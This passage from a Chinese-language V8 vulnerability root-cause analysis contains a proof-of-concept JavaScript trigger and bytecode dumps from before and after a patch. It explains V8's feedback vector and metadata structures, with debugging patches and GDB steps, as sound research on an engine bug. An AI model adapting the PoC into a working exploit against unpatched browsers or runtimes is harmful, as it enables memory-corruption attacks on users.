out/x64.debug/libv8.so(v8::internal::JSFunction::InitializeFeedbackCell(v8::internal::Handle<v8::internal::JSFunction>, v8::internal::IsCompiledScope*, bool)+0x18a) [0x7f24a59c1eba]
out/x64.debug/libv8.so(v8::internal::Compiler::Compile(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Compiler::ClearExceptionFlag, v8::internal::IsCompiledScope*)+0x2f9) [0x7f24a5018519]
out/x64.debug/libv8.so(+0x3d3f359) [0x7f24a5e38359]
out/x64.debug/libv8.so(v8::internal::Runtime_CompileLazy(int, unsigned long*, v8::internal::Isolate*)+0x128) [0x7f24a5e37e08]
[0x7f243f9b33ff]
经简易调试可发现,function指向lambda表达式实例所对应的JSFunction对象。
利用修改后的PoC2对Root Cause进行初步分析。
修改后的PoC3
修改后的PoC3源码
function a() {
try {
let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
} catch (t) {
print(t);
}
};
for (let j = 0; j < 13; j++) {
{
((a = class b3 {
[({ c: eval() } ? 0 : (aa = 0xff))] //修改aa的赋值,便于在字节码中体现
}) => { let z = 0xdeadbeef; })();
}
if (j == 11) {
a();
}
}
Lambda表达式实例的两次编译过程对应的字节码
Before Patch
第一次
[generated bytecode for function: (0x21320025a505 <SharedFunctionInfo>)]
Bytecode length: 107
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0x21320025a78e @ 0 : 83 00 01 CreateFunctionContext [0], [1]
0x21320025a791 @ 3 : 1a f9 PushContext r1
0x21320025a793 @ 5 : 10 LdaTheHole
0x21320025a794 @ 6 : 25 02 StaCurrentContextSlot [2]
0x21320025a796 @ 8 : 0b 03 Ldar a0
0x21320025a798 @ 10 : 9d 58 JumpIfNotUndefined [88] (0x21320025a7f0 @ 98)
0x21320025a79a @ 12 : 81 01 CreateBlockContext [1]
0x21320025a79c @ 14 : 1a f8 PushContext r2
0x21320025a79e @ 16 : 10 LdaTheHole
0x21320025a79f @ 17 : 25 02 StaCurrentContextSlot [2]
0x21320025a7a1 @ 19 : 10 LdaTheHole
0x21320025a7a2 @ 20 : 25 03 StaCurrentContextSlot [3]
0x21320025a7a4 @ 22 : 10 LdaTheHole
0x21320025a7a5 @ 23 : be Star6
0x21320025a7a6 @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x21320025a7aa @ 28 : c1 Star3
0x21320025a7ab @ 29 : 13 02 LdaConstant [2]
0x21320025a7ad @ 31 : c0 Star4
0x21320025a7ae @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x21320025a7b2 @ 36 : bc Star8
0x21320025a7b3 @ 37 : 21 05 01 LdaGlobal [5], [1]
0x21320025a7b6 @ 40 : bb Star9
0x21320025a7b7 @ 41 : 61 f1 03 CallUndefinedReceiver0 r9, [3]
0x21320025a7ba @ 44 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]
0x21320025a7be @ 48 : 19 f7 f5 Mov r3, r5
0x21320025a7c1 @ 51 : 0b f2 Ldar r8
0x21320025a7c3 @ 53 : 97 05 JumpIfToBooleanFalse [5] (0x21320025a7c8 @ 58)
0x21320025a7c5 @ 55 : 0c LdaZero
0x21320025a7c6 @ 56 : 8a 0c Jump [12] (0x21320025a7d2 @ 68)
0x21320025a7c8 @ 58 : 00 0d ff 00 LdaSmi.Wide [255]
0x21320025a7cc @ 62 : bc Star8
0x21320025a7cd @ 63 : 23 07 07 StaGlobal [7], [7]
0x21320025a7d0 @ 66 : 0b f2 Ldar r8
0x21320025a7d2 @ 68 : 73 f3 ToName r7
0x21320025a7d4 @ 70 : 0b f3 Ldar r7
0x21320025a7d6 @ 72 : 25 02 StaCurrentContextSlot [2]
0x21320025a7d8 @ 74 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x21320025a7dd @ 79 : 0b f7 Ldar r3
0x21320025a7df @ 81 : 25 03 StaCurrentContextSlot [3]
0x21320025a7e1 @ 83 : 80 08 01 02 CreateClosure [8], [1], #2
0x21320025a7e5 @ 87 : c0 Star4
0x21320025a7e6 @ 88 : 32 f7 09 09 SetNamedProperty r3, [9], [9]
0x21320025a7ea @ 92 : 1b f8 PopContext r2
0x21320025a7ec @ 94 : 0b f7 Ldar r3
0x21320025a7ee @ 96 : 8a 04 Jump [4] (0x21320025a7f2 @ 100)
0x21320025a7f0 @ 98 : 0b 03 Ldar a0
0x21320025a7f2 @ 100 : 25 02 StaCurrentContextSlot [2]
0x21320025a7f4 @ 102 : 13 0a LdaConstant [10]
0x21320025a7f6 @ 104 : c4 Star0
0x21320025a7f7 @ 105 : 0e LdaUndefined
0x21320025a7f8 @ 106 : a9 Return
Constant pool (size = 11)
0x21320025a72d: [FixedArray] in OldSpace
- map: 0x213200002231 <Map(FIXED_ARRAY_TYPE)>
- length: 11
0: 0x21320025a419 <ScopeInfo FUNCTION_SCOPE>
1: 0x21320025a449 <ScopeInfo CLASS_SCOPE>
2: 0x21320025a709 <FixedArray[7]>
3: 0x21320025a615 <SharedFunctionInfo b3>
4: 0x21320025a675 <ObjectBoilerplateDescription[3]>
5: 0x213200006005 <String[4]: #eval>
6: 0x2132000040a5 <String[1]: #c>
7: 0x21320025a349 <String[2]: #aa>
8: 0x21320025a64d <SharedFunctionInfo <instance_members_initializer>>
9: 0x2132000071e5 <Symbol: (class_fields_symbol)>
10: 0x21320025a761 <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
第二次
[generated bytecode for function: (0x21320025a505 <SharedFunctionInfo>)]
Bytecode length: 105
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0x21320025c46a @ 0 : 83 00 02 CreateFunctionContext [0], [2]
0x21320025c46d @ 3 : 1a f9 PushContext r1
0x21320025c46f @ 5 : 10 LdaTheHole
0x21320025c470 @ 6 : 25 03 StaCurrentContextSlot [3]
0x21320025c472 @ 8 : 0b 03 Ldar a0
0x21320025c474 @ 10 : 9d 56 JumpIfNotUndefined [86] (0x21320025c4ca @ 96)
0x21320025c476 @ 12 : 81 01 CreateBlockContext [1]
0x21320025c478 @ 14 : 1a f8 PushContext r2
0x21320025c47a @ 16 : 10 LdaTheHole
0x21320025c47b @ 17 : 25 02 StaCurrentContextSlot [2]
0x21320025c47d @ 19 : 10 LdaTheHole
0x21320025c47e @ 20 : 25 03 StaCurrentContextSlot [3]
0x21320025c480 @ 22 : 10 LdaTheHole
0x21320025c481 @ 23 : be Star6
0x21320025c482 @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x21320025c486 @ 28 : c1 Star3
0x21320025c487 @ 29 : 13 02 LdaConstant [2]
0x21320025c489 @ 31 : c0 Star4
0x21320025c48a @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x21320025c48e @ 36 : bc Star8
0x21320025c48f @ 37 : 28 05 01 02 LdaLookupGlobalSlot [5], [1], [2]
0x21320025c493 @ 41 : bb Star9
0x21320025c494 @ 42 : 61 f1 03 CallUndefinedReceiver0 r9, [3]
0x21320025c497 @ 45 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]
0x21320025c49b @ 49 : 19 f7 f5 Mov r3, r5
0x21320025c49e @ 52 : 0b f2 Ldar r8
0x21320025c4a0 @ 54 : 97 05 JumpIfToBooleanFalse [5] (0x21320025c4a5 @ 59)
0x21320025c4a2 @ 56 : 0c LdaZero
0x21320025c4a3 @ 57 : 8a 09 Jump [9] (0x21320025c4ac @ 66)
0x21320025c4a5 @ 59 : 00 0d ff 00 LdaSmi.Wide [255]
0x21320025c4a9 @ 63 : 2c 07 01 StaLookupSlot [7], #1
0x21320025c4ac @ 66 : 73 f3 ToName r7
0x21320025c4ae @ 68 : 0b f3 Ldar r7
0x21320025c4b0 @ 70 : 25 02 StaCurrentContextSlot [2]
0x21320025c4b2 @ 72 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x21320025c4b7 @ 77 : 0b f7 Ldar r3
0x21320025c4b9 @ 79 : 25 03 StaCurrentContextSlot [3]
0x21320025c4bb @ 81 : 80 08 01 02 CreateClosure [8], [1], #2
0x21320025c4bf @ 85 : c0 Star4
0x21320025c4c0 @ 86 : 32 f7 09 07 SetNamedProperty r3, [9], [7]
0x21320025c4c4 @ 90 : 1b f8 PopContext r2
0x21320025c4c6 @ 92 : 0b f7 Ldar r3
0x21320025c4c8 @ 94 : 8a 04 Jump [4] (0x21320025c4cc @ 98)
0x21320025c4ca @ 96 : 0b 03 Ldar a0
0x21320025c4cc @ 98 : 25 03 StaCurrentContextSlot [3]
0x21320025c4ce @ 100 : 13 0a LdaConstant [10]
0x21320025c4d0 @ 102 : c4 Star0
0x21320025c4d1 @ 103 : 0e LdaUndefined
0x21320025c4d2 @ 104 : a9 Return
Constant pool (size = 11)
0x21320025c409: [FixedArray] in OldSpace
- map: 0x213200002231 <Map(FIXED_ARRAY_TYPE)>
- length: 11
0: 0x21320025c26d <ScopeInfo FUNCTION_SCOPE>
1: 0x21320025c29d <ScopeInfo CLASS_SCOPE>
2: 0x21320025c3e5 <FixedArray[7]>
3: 0x21320025c2f1 <SharedFunctionInfo b3>
4: 0x21320025c351 <ObjectBoilerplateDescription[3]>
5: 0x213200006005 <String[4]: #eval>
6: 0x2132000040a5 <String[1]: #c>
7: 0x21320025c215 <String[2]: #aa>
8: 0x21320025c329 <SharedFunctionInfo <instance_members_initializer>>
9: 0x2132000071e5 <Symbol: (class_fields_symbol)>
10: 0x21320025c43d <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
After Patch
第一次
[generated bytecode for function: (0x00460025a505 <SharedFunctionInfo>)]
Bytecode length: 107
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0x460025a78e @ 0 : 83 00 01 CreateFunctionContext [0], [1]
0x460025a791 @ 3 : 1a f9 PushContext r1
0x460025a793 @ 5 : 10 LdaTheHole
0x460025a794 @ 6 : 25 02 StaCurrentContextSlot [2]
0x460025a796 @ 8 : 0b 03 Ldar a0
0x460025a798 @ 10 : 9d 58 JumpIfNotUndefined [88] (0x460025a7f0 @ 98)
0x460025a79a @ 12 : 81 01 CreateBlockContext [1]
0x460025a79c @ 14 : 1a f8 PushContext r2
0x460025a79e @ 16 : 10 LdaTheHole
0x460025a79f @ 17 : 25 02 StaCurrentContextSlot [2]
0x460025a7a1 @ 19 : 10 LdaTheHole
0x460025a7a2 @ 20 : 25 03 StaCurrentContextSlot [3]
0x460025a7a4 @ 22 : 10 LdaTheHole
0x460025a7a5 @ 23 : be Star6
0x460025a7a6 @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x460025a7aa @ 28 : c1 Star3
0x460025a7ab @ 29 : 13 02 LdaConstant [2]
0x460025a7ad @ 31 : c0 Star4
0x460025a7ae @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x460025a7b2 @ 36 : bc Star8
0x460025a7b3 @ 37 : 21 05 01 LdaGlobal [5], [1]
0x460025a7b6 @ 40 : bb Star9
0x460025a7b7 @ 41 : 61 f1 03 CallUndefinedReceiver0 r9, [3]
0x460025a7ba @ 44 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]
0x460025a7be @ 48 : 19 f7 f5 Mov r3, r5
0x460025a7c1 @ 51 : 0b f2 Ldar r8
0x460025a7c3 @ 53 : 97 05 JumpIfToBooleanFalse [5] (0x460025a7c8 @ 58)
0x460025a7c5 @ 55 : 0c LdaZero
0x460025a7c6 @ 56 : 8a 0c Jump [12] (0x460025a7d2 @ 68)
0x460025a7c8 @ 58 : 00 0d ff 00 LdaSmi.Wide [255]
0x460025a7cc @ 62 : bc Star8
0x460025a7cd @ 63 : 23 07 07 StaGlobal [7], [7]
0x460025a7d0 @ 66 : 0b f2 Ldar r8
0x460025a7d2 @ 68 : 73 f3 ToName r7
0x460025a7d4 @ 70 : 0b f3 Ldar r7
0x460025a7d6 @ 72 : 25 02 StaCurrentContextSlot [2]
0x460025a7d8 @ 74 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x460025a7dd @ 79 : 0b f7 Ldar r3
0x460025a7df @ 81 : 25 03 StaCurrentContextSlot [3]
0x460025a7e1 @ 83 : 80 08 01 02 CreateClosure [8], [1], #2
0x460025a7e5 @ 87 : c0 Star4
0x460025a7e6 @ 88 : 32 f7 09 09 SetNamedProperty r3, [9], [9]
0x460025a7ea @ 92 : 1b f8 PopContext r2
0x460025a7ec @ 94 : 0b f7 Ldar r3
0x460025a7ee @ 96 : 8a 04 Jump [4] (0x460025a7f2 @ 100)
0x460025a7f0 @ 98 : 0b 03 Ldar a0
0x460025a7f2 @ 100 : 25 02 StaCurrentContextSlot [2]
0x460025a7f4 @ 102 : 13 0a LdaConstant [10]
0x460025a7f6 @ 104 : c4 Star0
0x460025a7f7 @ 105 : 0e LdaUndefined
0x460025a7f8 @ 106 : a9 Return
Constant pool (size = 11)
0x460025a72d: [FixedArray] in OldSpace
- map: 0x004600002231 <Map(FIXED_ARRAY_TYPE)>
- length: 11
0: 0x00460025a419 <ScopeInfo FUNCTION_SCOPE>
1: 0x00460025a449 <ScopeInfo CLASS_SCOPE>
2: 0x00460025a709 <FixedArray[7]>
3: 0x00460025a615 <SharedFunctionInfo b3>
4: 0x00460025a675 <ObjectBoilerplateDescription[3]>
5: 0x004600006005 <String[4]: #eval>
6: 0x0046000040a5 <String[1]: #c>
7: 0x00460025a349 <String[2]: #aa>
8: 0x00460025a64d <SharedFunctionInfo <instance_members_initializer>>
9: 0x0046000071e5 <Symbol: (class_fields_symbol)>
10: 0x00460025a761 <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
第二次
[generated bytecode for function: (0x00460025a505 <SharedFunctionInfo>)]
Bytecode length: 107
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
0x460025c41a @ 0 : 83 00 01 CreateFunctionContext [0], [1]
0x460025c41d @ 3 : 1a f9 PushContext r1
0x460025c41f @ 5 : 10 LdaTheHole
0x460025c420 @ 6 : 25 02 StaCurrentContextSlot [2]
0x460025c422 @ 8 : 0b 03 Ldar a0
0x460025c424 @ 10 : 9d 58 JumpIfNotUndefined [88] (0x460025c47c @ 98)
0x460025c426 @ 12 : 81 01 CreateBlockContext [1]
0x460025c428 @ 14 : 1a f8 PushContext r2
0x460025c42a @ 16 : 10 LdaTheHole
0x460025c42b @ 17 : 25 02 StaCurrentContextSlot [2]
0x460025c42d @ 19 : 10 LdaTheHole
0x460025c42e @ 20 : 25 03 StaCurrentContextSlot [3]
0x460025c430 @ 22 : 10 LdaTheHole
0x460025c431 @ 23 : be Star6
0x460025c432 @ 24 : 80 03 00 02 CreateClosure [3], [0], #2
0x460025c436 @ 28 : c1 Star3
0x460025c437 @ 29 : 13 02 LdaConstant [2]
0x460025c439 @ 31 : c0 Star4
0x460025c43a @ 32 : 7c 04 00 29 CreateObjectLiteral [4], [0], #41
0x460025c43e @ 36 : bc Star8
0x460025c43f @ 37 : 21 05 01 LdaGlobal [5], [1]
0x460025c442 @ 40 : bb Star9
0x460025c443 @ 41 : 61 f1 03 CallUndefinedReceiver0 r9, [3]
0x460025c446 @ 44 : 33 f2 06 05 DefineNamedOwnProperty r8, [6], [5]
0x460025c44a @ 48 : 19 f7 f5 Mov r3, r5
0x460025c44d @ 51 : 0b f2 Ldar r8
0x460025c44f @ 53 : 97 05 JumpIfToBooleanFalse [5] (0x460025c454 @ 58)
0x460025c451 @ 55 : 0c LdaZero
0x460025c452 @ 56 : 8a 0c Jump [12] (0x460025c45e @ 68)
0x460025c454 @ 58 : 00 0d ff 00 LdaSmi.Wide [255]
0x460025c458 @ 62 : bc Star8
0x460025c459 @ 63 : 23 07 07 StaGlobal [7], [7]
0x460025c45c @ 66 : 0b f2 Ldar r8
0x460025c45e @ 68 : 73 f3 ToName r7
0x460025c460 @ 70 : 0b f3 Ldar r7
0x460025c462 @ 72 : 25 02 StaCurrentContextSlot [2]
0x460025c464 @ 74 : 65 29 00 f6 04 CallRuntime [DefineClass], r4-r7
0x460025c469 @ 79 : 0b f7 Ldar r3
0x460025c46b @ 81 : 25 03 StaCurrentContextSlot [3]
0x460025c46d @ 83 : 80 08 01 02 CreateClosure [8], [1], #2
0x460025c471 @ 87 : c0 Star4
0x460025c472 @ 88 : 32 f7 09 09 SetNamedProperty r3, [9], [9]
0x460025c476 @ 92 : 1b f8 PopContext r2
0x460025c478 @ 94 : 0b f7 Ldar r3
0x460025c47a @ 96 : 8a 04 Jump [4] (0x460025c47e @ 100)
0x460025c47c @ 98 : 0b 03 Ldar a0
0x460025c47e @ 100 : 25 02 StaCurrentContextSlot [2]
0x460025c480 @ 102 : 13 0a LdaConstant [10]
0x460025c482 @ 104 : c4 Star0
0x460025c483 @ 105 : 0e LdaUndefined
0x460025c484 @ 106 : a9 Return
Constant pool (size = 11)
0x460025c3b9: [FixedArray] in OldSpace
- map: 0x004600002231 <Map(FIXED_ARRAY_TYPE)>
- length: 11
0: 0x00460025c21d <ScopeInfo FUNCTION_SCOPE>
1: 0x00460025c24d <ScopeInfo CLASS_SCOPE>
2: 0x00460025c395 <FixedArray[7]>
3: 0x00460025c2a1 <SharedFunctionInfo b3>
4: 0x00460025c301 <ObjectBoilerplateDescription[3]>
5: 0x004600006005 <String[4]: #eval>
6: 0x0046000040a5 <String[1]: #c>
7: 0x00460025c1c5 <String[2]: #aa>
8: 0x00460025c2d9 <SharedFunctionInfo <instance_members_initializer>>
9: 0x0046000071e5 <Symbol: (class_fields_symbol)>
10: 0x00460025c3ed <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
预备知识1
Feedback(反馈)机制
简介
V8中的Feedback机制是:解释器Ignition为Inline Cache和优化编译器TurboFan提供函数过往执行时变量和参数类型信息的手段。
数据结构
函数的Feedback信息分为两部分,一部分是FeedbackMetadata
,另一部分是FeedbackVector
。
它们的存储位置分别是:
- Feedback Vector: [JSFunction] -> feedback_cell(0x14)[FeedbackCell] -> value(0x4)[FeedbackVector]
- length(0x4)[Int32]
- Feedback Metadata: [JSFunction] -> shared_function_info(0xC)[SharedFunctionInfo] -> outer_scope_info_or_feedback_metadata(0xC)[FeedbackMetadata]
- slot_count(0x4)[Int32]
其中,FeedbackVector的length域和FeedbackMetadata的slot_count域应当始终相等。它们都代表FeedbackVector数据结构中存储反馈信息的数组长度。
Feedback Metadata
Feedback Metadata的地址位于JSFunction对象的shared_function_info域对应的SharedFunctionInfo对象中,主要存储FeedbackVector各数组的长度。一个典型的FeedbackMetadata调试打印如下所示:
0x18b40025c51d: [FeedbackMetadata] in OldSpace
- map: 0x18b4000029a9 <Map(FEEDBACK_METADATA_TYPE)>
- slot_count: 9
- create_closure_slot_count: 2
Slot #0 Literal
Slot #1 LoadGlobalNotInsideTypeof
Slot #3 Call
Slot #5 DefineNamedOwn
Slot #7 SetNamedStrict
Feedback Vector
Feedback Vector的地址存储在JSFunction对象的feedback_cell域对应的FeedbackCell对象的value域中。负责具体存放过往函数执行时的变量及参数的类型信息。一个典型的FeedbackVector调试打印如下所示:
0x18b40025af0d: [FeedbackVector] in OldSpace
- map: 0x18b40000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 11
- shared function info: 0x18b40025a505 <SharedFunctionInfo>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 4
- profiler ticks: 0
- closure feedback cell array: 0x18b40025a8d9: [ClosureFeedbackCellArray] in OldSpace
- map: 0x18b400002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 2
0: 0x18b40025a8e9 <FeedbackCell[many closures]>
1: 0x18b40025a8f5 <FeedbackCell[many closures]>
- slot #0 Literal {
[0]: 0x18b40025b091 <AllocationSite>
}
- slot #1 LoadGlobalNotInsideTypeof MONOMORPHIC
[weak] 0x18b40025442d <PropertyCell name=0x18b400006005 <String[4]: #eval> value=0x18b40024af25 <JSFunction eval (sfi = 0x18b40021dca1)>> {
[1]: [weak] 0x18b40025442d <PropertyCell name=0x18b400006005 <String[4]: #eval> value=0x18b40024af25 <JSFunction eval (sfi = 0x18b40021dca1)>>
[2]: 0x18b4000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #3 Call MONOMORPHIC {
[3]: [weak] 0x18b40024af25 <JSFunction eval (sfi = 0x18b40021dca1)>
[4]: 8
}
- slot #5 DefineNamedOwn MONOMORPHIC {
[5]: [weak] 0x18b40025a929 <Map[16](HOLEY_ELEMENTS)>
[6]: 3604480
}
- slot #7 StoreGlobalStrict UNINITIALIZED {
[7]: [cleared]
[8]: 0x18b4000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #9 SetNamedStrict POLYMORPHIC
[weak] 0x18b40025b009 <Map[32](HOLEY_ELEMENTS)>: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)
[weak] 0x18b40025b0d5 <Map[32](HOLEY_ELEMENTS)>: StoreHandler(Smi)(kind = kSlow, keyed access store mode = STANDARD_STORE)
{
[9]: 0x18b40010d061 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
[10]: 0x18b4000073e5 <Symbol: (uninitialized_symbol)>
}
0x18b40000273d: [Map] in ReadOnlySpace
- type: FEEDBACK_VECTOR_TYPE
- instance size: variable
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x18b4000023e1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x18b4000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x18b400002261 <null>
- constructor: 0x18b400002261 <null>
- dependent code: 0x18b4000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
对于FeedbackVector每个槽(Slot)的调试打印信息,解释如下:
Slot #ID Bytecode_Name Inline_Cache_Type
分别指示:
- ID:FeedBack Vector的Slot号。
- Bytecode_Name:指示哪个类型的字节码用到了该FeedBack Vector的Slot。对于需要Feedback Slot的字节码,字节码在被生成时会被自动分配一个Feedback Slot ID。
- Inline_Cache_Type:指示该FeedBack Slot的IC类型。可能类型包括未初始化(UNINITIALIZED)、单态(MONOMORPHIC)、多态(POLYMORPHIC)或其它类型。
运行参数及初始配置
运行修改后的PoC2,d8运行参数:
./d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-builtin-info PoC.js
其中,print-builtin-info
选项所加代码参见:https://github.com/bjrjk/v8/tree/323ada0128-Patch。
加入print-builtin-info
选项对应的代码后,再加入如下补丁并编译:
diff --git a/src/ic/accessor-assembler.cc b/src/ic/accessor-assembler.cc
index 8d2107721a..121822d8c0 100644
--- a/src/ic/accessor-assembler.cc
+++ b/src/ic/accessor-assembler.cc
@@ -3358,9 +3358,12 @@ void AccessorAssembler::LoadGlobalIC_TryPropertyCellCase(
const LazyNode<Context>& lazy_context, ExitPoint* exit_point,
Label* try_handler, Label* miss) {
Comment("LoadGlobalIC_TryPropertyCellCase");
+ Print("--- Debug: LoadGlobalIC_TryPropertyCellCase ---");
Label if_lexical_var(this), if_property_cell(this);
TNode<MaybeObject> maybe_weak_ref = LoadFeedbackVectorSlot(vector, slot);
+ Print("slot", slot);
+ Print("vector", vector);
Branch(TaggedIsSmi(maybe_weak_ref), &if_lexical_var, &if_property_cell);
BIND(&if_property_cell);
调试过程
- 为
v8::internal::DebugPrintImpl(v8::internal::MaybeObject, std::Cr::basic_ostream<char, std::Cr::char_traits >&) at src/runtime/runtime-test.cc:1085
加入软件断点,在void AccessorAssembler::LoadGlobalIC_TryPropertyCellCase
的每个Print
语句后断下。
- 该软件断点共命中6次。根据打印出的调试信息,我们可以发现FeedbackVector的length与FeedbackMetadata的slot_count相等。这是正常情况。
DebugPrint: 0x37060025af0d: [FeedbackVector] in OldSpace
- map: 0x37060000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 11 [!]
- shared function info: 0x37060025a505 <SharedFunctionInfo>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 2
- profiler ticks: 0
- closure feedback cell array: 0x37060025a8d9: [ClosureFeedbackCellArray] in OldSpace
- map: 0x370600002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 2
0: 0x37060025a8e9 <FeedbackCell[many closures]>
1: 0x37060025a8f5 <FeedbackCell[many closures]>
- slot #0 Literal {
[0]: 1
}
- slot #1 LoadGlobalNotInsideTypeof UNINITIALIZED {
[1]: [cleared]
[2]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #3 Call UNINITIALIZED {
[3]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
[4]: 0
}
- slot #5 DefineNamedOwn UNINITIALIZED {
[5]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
[6]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #7 StoreGlobalStrict UNINITIALIZED {
[7]: [cleared]
[8]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
}
- slot #9 SetNamedStrict UNINITIALIZED {
[9]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
[10]: 0x3706000073e5 <Symbol: (uninitialized_symbol)>
}
0x37060000273d: [Map] in ReadOnlySpace
- type: FEEDBACK_VECTOR_TYPE
- instance size: variable
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x3706000023e1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x3706000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x370600002261 <null>
- constructor: 0x370600002261 <null>
- dependent code: 0x3706000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
0x37060025a505: [SharedFunctionInfo] in OldSpace
- map: 0x370600002625 <Map[40](SHARED_FUNCTION_INFO_TYPE)>
- name: 0x370600002529 <String[0]: #>
- inferred name: 0x370600002529 <String[0]: #>
- kind: ArrowFunction
- syntax kind: AnonymousExpression
- function_map_index: 205
- formal_parameter_count: 1
- expected_nof_properties: 2
- language_mode: sloppy
- data: 0x37060025a769 <BytecodeArray[105]>
- code (from data): 0x37060020b5b5 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
- source code: (a = class b3 {
[({ c: eval() } ? 0 : (aa = 1))]
}) => { let z = 0xdeadbeef; }
- script: 0x37060025a2f5 <Script>
- function token position: 472
- start position: 472
- end position: 570
- no debug info
- scope info: 0x37060025a429 <ScopeInfo FUNCTION_SCOPE>
- outer scope info: 0x37060025a40d <ScopeInfo BLOCK_SCOPE>
- length: 0
- feedback_metadata: 0x37060025a7f5: [FeedbackMetadata] in OldSpace
- map: 0x3706000029a9 <Map(FEEDBACK_METADATA_TYPE)>
- slot_count: 11 [!]
- create_closure_slot_count: 2
Slot #0 Literal
Slot #1 LoadGlobalNotInsideTypeof
Slot #3 Call
Slot #5 DefineNamedOwn
Slot #7 StoreGlobalStrict
Slot #9 SetNamedStrict
- 在软件断点最后一次命中时,参考打印出的对象信息,为存储指向Feedback Metadata的压缩指针的内存位置下硬件写断点。
- 具体方式是:从Feedback Vector的调试信息中查找shared_function_info的内存地址,通过偏移+0xC找到存放FeedbackMetadata指针的内存,并使用
watch *addr
命令下断。
DebugPrint: 0x18b40025af0d: [FeedbackVector] in OldSpace
- map: 0x18b40000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 11
- shared function info: 0x18b40025a505 <SharedFunctionInfo>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 4
- profiler ticks: 0
- closure feedback cell array: 0x18b40025a8d9: [ClosureFeedbackCellArray] in OldSpace
- map: 0x18b400002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 2
0: 0x18b40025a8e9 <FeedbackCell[many closures]>
1: 0x18b40025a8f5 <FeedbackCell[many closures]>
GDB: watch *0x18b40025a510
- 该硬件写断点共命中两次。第一次命中硬件写断点时的函数调用栈可以验证我们前面的判断:
std::Cr::__cxx_atomic_store[abi:v160000]<int>(std::Cr::__cxx_atomic_base_impl<int> volatile*, int, std::Cr::memory_order)(volatile std::Cr::__cxx_atomic_base_impl<int> * __a, int __val, std::Cr::memory_order __order) (buildtools/third_party/libc++/trunk/include/atomic:936)
std::Cr::__atomic_base<int, false>::store[abi:v160000](int, std::Cr::memory_order) volatile(volatile std::Cr::__atomic_base<int, 0> * this, int __d, std::Cr::memory_order __m) (buildtools/third_party/libc++/trunk/include/atomic:1529)
std::Cr::atomic_store_explicit[abi:v160000]<int>(std::Cr::atomic<int> volatile*, std::Cr::atomic<int>::value_type, std::Cr::memory_order)(volatile std::Cr::atomic<int> * __o, std::Cr::atomic<int>::value_type __d, std::Cr::memory_order __m) (buildtools/third_party/libc++/trunk/include/atomic:1878)
v8::base::Relaxed_Store(volatile v8::base::Atomic32 * ptr, v8::base::Atomic32 value) (src/base/atomicops.h:192)
v8::base::AsAtomicImpl<int>::Relaxed_Store<unsigned int>(unsigned int * addr, unsigned int new_value) (src/base/atomic-utils.h:110)
v8::internal::TaggedField<v8::internal::Object, 0, v8::internal::V8HeapCompressionScheme>::Relaxed_Store(v8::internal::HeapObject host, int offset, v8::internal::Object value) (src/objects/tagged-field-inl.h:152)
